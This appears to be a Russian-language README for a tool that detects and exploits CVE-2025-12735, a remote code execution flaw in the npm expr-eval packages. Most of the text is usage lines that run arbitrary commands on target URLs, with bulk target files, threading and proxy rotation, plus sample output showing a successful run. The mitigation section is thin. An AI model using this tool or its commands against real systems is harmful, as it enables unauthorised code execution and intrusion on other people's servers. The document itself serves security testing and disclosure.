
Инструмент для исследований в области безопасности для обнаружения и тестирования CVE-2025-12735 (expr-eval RCE уязвимость)
Инструмент для исследования безопасности, предназначенный для обнаружения и проверки уязвимости CVE-2025-12735 в пакетах npm expr-eval и expr-eval-fork.
Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Используйте этот инструмент только на системах, которыми вы владеете или на которые имеете явное письменное разрешение на тестирование.
CVE-2025-12735 — это критическая уязвимость удаленного выполнения кода в пакетах npm expr-eval и expr-eval-fork. Данная уязвимость позволяет атакующему определять произвольные функции в объекте context, используемом парсером, что дает возможность внедрения вредоносного кода, выполняющего системные команды.
Оценка CVSS: 9.8 (критическая)
Затронутые версии: expr-eval-fork < 3.0.0
Исправленная версия: expr-eval-fork v3.0.0+
# Клонирование репозитория
git clone https://github.com/AN5I/cve-2025-12735-expr-eval-rce.git
cd cve-2025-12735-expr-eval-rce
# Установка зависимостей
pip install -r requirements.txt
# Сделать скрипт исполняемым (опционально)
chmod +x uknf_cve_2025_12735_expr_eval_rce.py
# Скачать скрипт
wget https://raw.githubusercontent.com/AN5I/cve-2025-12735-expr-eval-rce/main/uknf_cve_2025_12735_expr_eval_rce.py
# Установить зависимости
pip install requests
# Одиночная цель
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com
# Выполнить произвольную команду
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -c "whoami"
# Несколько целей из файла
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
# С многопоточностью для ускорения сканирования
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -t 5
# Подробный вывод для отладки
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -v
# Одиночный прокси
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com --proxy http://proxy:port
# Несколько прокси из файла
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
-u, --url Целевой URL
-f, --file Файл с целевыми URL (по одному на строку)
-c, --command Команда для выполнения (по умолчанию: id)
-t, --threads Количество потоков (по умолчанию: 1)
-o, --output Выходной файл (по умолчанию: uknf_expr_eval_results.json)
-v, --verbose Включить подробное логирование
--proxy URL прокси (например, http://127.0.0.1:8080)
--proxy-list Файл с URL прокси (по одному на строку)
Скрипт генерирует JSON-файл с подробными результатами:
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:35:32.638109",
"expr_eval_detected": true,
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/api/evaluate"
}
Если вы используете expr-eval или expr-eval-fork:
Немедленно обновитесь:
npm install expr-eval-fork@latest
Примените патч безопасности:
Реализуйте проверку ввода:
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com
# Создание файла с целями
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Запуск сканирования
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com -c "uname -a"
# Одиночный прокси
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com --proxy http://127.0.0.1:8080
# Несколько прокси из файла
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
Вклад приветствуется! Пожалуйста, не стесняйтесь отправлять Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Если вы столкнулись с какими-либо проблемами или у вас есть предложения, пожалуйста, создайте issue на GitHub.
Этот проект лицензирован по лицензии MIT — подробности в файле LICENSE.
Если вы нашли этот инструмент полезным, пожалуйста, поставьте звезду на GitHub!
Этот инструмент предоставляется исключительно для образовательных целей и авторизованного тестирования безопасности. Авторы не несут ответственности за любое неправомерное использование или ущерб, причиненный этой программой. Пользователи обязаны обеспечить наличие соответствующего разрешения перед тестированием любых систем.
Если вы нашли этот инструмент полезным и хотите поддержать проект:
Bitcoin (BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum (ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
Спасибо за вашу поддержку! 🙏